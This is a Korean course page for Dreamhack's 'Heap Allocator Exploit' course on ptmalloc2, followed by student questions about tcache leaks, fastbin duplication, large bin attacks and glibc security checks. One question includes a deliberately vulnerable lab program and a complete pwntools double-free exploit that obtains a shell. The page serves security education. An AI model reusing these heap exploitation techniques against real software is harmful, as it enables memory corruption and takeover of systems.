Description

ptmalloc2 allocator
ptmalloc2 allocator의 동작 방식에 대해 배울 수 있습니다. (#1)

Security check
ptmalloc2 allocator에 존재하는 security check들에 대해 배울 수 있습니다. (#2)

Attacking ptmalloc2 allocator
ptmalloc2 allocator를 공격하는 다양한 공격 기법들에 대해 배울 수 있습니다. (#3 ~ #19)

Objectives
ptmalloc2 allocator의 동작을 이해하고 공격할 수 있다.
Questions related to this course.
14 questions
Tcache memory leak 실습 재현?
<Heap Allocator Exploit> 강의를 보다가 제일 마지막 챕터(19번째)에 있는 <Tcache memory leak> 부분에서 `stdout_leak.c` 와 관련되어서 실습을 하는 부분을 재현해보려고 하는데 Ubuntu 22.04., Ubuntu 18.04., Ubuntu 16.04. 에서 모두 재현이 되지 않습니다. (WSL2, Windows 11 Pro, 64-Bit Intel CPU) 실습 코드를 보면 double free를 하는 부분이 나오는데, 주어진 `stdout_leak.c` 소스코드를 보면 chunk의 헤더를 변조시킨다던가 같은 내용 없이 그냥 `free()` 를 하는데, 이 때문인지 Dreamhack에서 강의와 함께 제공하는 exploitation code로 실습을 할 때마다 아래와 같이 double free로 인해 프로그램이 중단되었다는 내용이 나옵니다. (glibc 버전마다 살짝 다른 것 같긴 한데 제 환경에서는 다 저렇게 double free에 대한 메시지가 나왔습니다.) Ref) [https://learn.dreamhack.io/16#106](https://learn.dreamhack.io/16#106) 그래서 그런지 적어도 강의에 나온대로는 실습이 안되는 것 같은데, 혹시 이 실습은 더이상 reproducible하지 않은건가요? ![image.png](https://dreamhack-media.s3.amazonaws.com/attachments/d6930bf3aa15545b6c54d742652d867dc83d8e9326750863c0122c7867fc6331.png) 사실 heap 부분을 어떻게 공부하면 좋을지 몰라서 일단 강의의 내용을 최대한 비슷하게 만들어서 따라해보고 있는데 후반부로 갈수록 재현이나 실습이 제대로 되지 않는 부분이 있어(어쩌면 제가 놓치고 있는게 있을 수도 있습니다) 살짝 걱정되네요.
#ptmalloc2
#double_free
#tcache
Tcache memory leak 질문 입니당
Tcache memory leak 마지막 익스플로잇 코드 47번 줄에서 offset 값인 0x3eb780 가 libc base와 _IO_wide_data_2 사이의 offset 값인거 같은데, 혹시 이 값은 어떻게 구했나요? libc.symbols['_IO_wide_data_2'] 로 하면 값이 없다고 합니다.
#시스템해킹
fastbin_dub2.py fake_chunk를 만들 때 올바른 값이 들어가지 않습니다.
``` // gcc -o fastbin_dup2 fastbin_dup2.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> char name[16]; int overwrite_me; int main() { int ch, idx; int i = 0; char *ptr[10]; setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); printf("Name : "); read(0, name, 16); while (1) { printf("> "); scanf("%d", &ch); switch(ch) { case 1: if( i >= 10 ) { printf("Do not overflow\n"); exit(0); } ptr[i] = malloc(32); printf("Data: "); read(0, ptr[i], 32-1); i++; break; case 2: printf("idx: "); scanf("%d", &idx); free(ptr[idx]); break; case 3: if( overwrite_me == 0xDEADBEEF ) { system("/bin/sh"); } break; default: break; } } return 0; } ``` ``` # fastbin_dup2.py from pwn import * p = process("./fastbin_dup2") def add(data): print p.sendlineafter(">","1") print p.sendlineafter(":",str(data)) def free(idx): print p.sendlineafter(">","2") print p.sendlineafter(":",str(idx)) def getshell(): print p.sendlineafter(">","3") elf = ELF('fastbin_dup2') fakechunk = p64(0) fakechunk += p64(0x31) print p.sendlineafter("Name :", fakechunk) add("AAAA") # 0 add("AAAA") # 1 free(0) free(1) free(0) overwrite_me_addr = elf.symbols['overwrite_me'] fake_chunk_name = elf.symbols['name'] add(p64(fake_chunk_name)) # 0x602010 : FD overwrite add("AAAA") # 0x602030 add("BBBB") # 0x602010 add(p64(0xDEADBEEF)) # Arbitrary allocate, write getshell() p.interactive() ``` 위에는 해당 강의의 실습문제이구 아래는 그에 대한 익스플로잇 코드 인데 add(p64(fake_chunk_name)) 이 부분에서 fd위치에 name의 주소가 들어가야 할 것 같은데 name의 주소가 아닌 이상한 값이 들어갑니다. 따라서 EOF에러가 말생합니다 어떻게 해야 올바른 name의 주소가 들어갈 수 있나요??
#시스템해킹
다음과 같은 C 코드가 왜이렇게 동작할까요??
https://learn.dreamhack.io/16#41 에 나온 코드를 공부하던중 이해가 가지 않아 질문 드립니다. ``` #include <stdio.h> long *ptr; int main(){ int N = 100; // ptr의 값을 변경 ptr = (long)&ptr - sizeof(long) * N; printf("%x\n", ptr); // 891cb838 // ptr[N]에 값 쓰기 ptr[N] = 1234; printf("%x\n", ptr); // 4d2 return 0; } ``` 위 코드를 수행하면, 제가 생각하기엔 ptr의 값은 처음에 변경한 값 그대로고, ptr + N의 위치 값만 바뀌어야 할것 같은데 ptr의 값 자체가 바뀌더군요. 왜 그럴까요???
#시스템해킹
double free bug 우회와 double free of corruption (!prev)관련 질문입니다
강의 자료에서는 fasttop만 우회하면 성공이 되는데, double free or corruption (!prev)는 왜 신경을 안써도 되는지 설명해주실 수 있을까요?
#시스템해킹
2*SIZE와 av->system_mem의 의미
free하려는 청크의 뒤의 청크의 사이즈를 2*SIZE와 av->system_mem와 비교한다고 했는데 여기서 2*SIZE와 av->system_mem의 담긴 값들은 각각 무엇이고 어떤 의미(내용??)를 가지고 있나요?
#시스템해킹
FD 포인터의 위치
6페이지에 보면 "힙 청크가 해제되면서 FD에 포인터가 써진 것을 확인할 수 있습니다." 라고 되어 있는데 FD 포인터의 위치가 어디이고 왜 그런지 알 수 있을까요??
#시스템해킹
leak2.py oveflow함수 부분
leak2.py 마지막 부분 oveflow함수에 스택 오버플로우를 하는데 더미값이 264가아닌 280이 들어가는지 궁금합니다
#시스템해킹
Breaking calloc질문입니다.
tcache_entry 7개를 전부 채우고 나서 fastbin할당을 하며 힙오버플로우를 사용하는거 같은데 왜 7개로 tcache_entry를 채우는 것인지 잘 모르겠습니다. tcahe를 사용하게되면 fd와 bk를 덮어서 원하는 출력값을 뽑지 못하기 때문인가요?
#시스템해킹
large bin attack 질문입니다 ^^
large bin attack (3/5)를 보면,30 line을 통과하기 위해서 0x10만큼 큰 값을 넣어준다고 되어있는데, 요부분이 잘 이해가 안되서 그런데 어떤 조건을 말하는건가요?
#시스템해킹
Large Bin Attack 질문
```c add(0x320) # 0 => smallbin(unsortedbin) add(0x100) # 1 => no merge add(0x400) # 2 => largebin add(0x100) # 3 => no merge add(0x410) # 4 => largebin(unsortedbin) add(0x100) # 5 => no merge ``` - Large Bin Attack에서 사용될 힙 청크들을 할당한다. ```c free(0) # unsortedbin -> 0 free(2) # unsortedbin -> 0 -> 2 ``` - `smallbin` 크기의 청크와 첫 번째 `large bin` 크기의 청크를 해제하였다. - 그 결과 `unsorted bin` 에 0번과 2번 청크가 들어갔다. ```c add(0x100) # unsortedbin -> 0, largebin -> 2 free(4) # unsortedbin -> 0 -> 4, largebin -> 2 ``` - 0x100만큼 추가 할당이 하여 `unsortedbin` 에 들어가 있는 0번 청크에서 0x100 크기의 메모리가 할당되고 나머지가 `unsorted bin`에 남게 된다. ### 질문 ### `add(0x100)` - unsortedbin 에 들어가 있던 0 번 청크(0x320 - smallbin) 에서 0x100 크기만 할당하고 나머지 값이 남게되면 `unsorted bin`, `last_remainder` 에 저장되는 건가요?
#시스템해킹
largebin 사이즈의 청크를 요청할 때
malloc_consolidate()를 이용하여 fast bin에 있는 free chunk를 small bin에 병합을 하는데... "large bin 사이즈 요청"과 "small bin에 fast bin 청크를 병합"하는 것이 무슨 관계가 있나요?
#시스템해킹
corrupted doule-linked list(not small) 질문
"P->fd_nextsize->bk_nextsize != P와 P->fd_nextsize->bk_nextsize != P 조건을 검증합니다." 라고 되어있습니다. 둘 중 하나의 조건은 "P->bk_nextsize->fd_nextsize" 아닌가요?
#시스템해킹
poison null byte 질문입니다.
강좌 보면 슬라이드 뒤에 내용이 누락된거같은데 혹시 뒤에 더 내용이 있나요?
#시스템해킹
Rating
0.0★ (0)
0
Heap Allocator Exploit
0.0★ (0)
Free
Detail
3 hours read
Hard
C, Python, Linux, gdb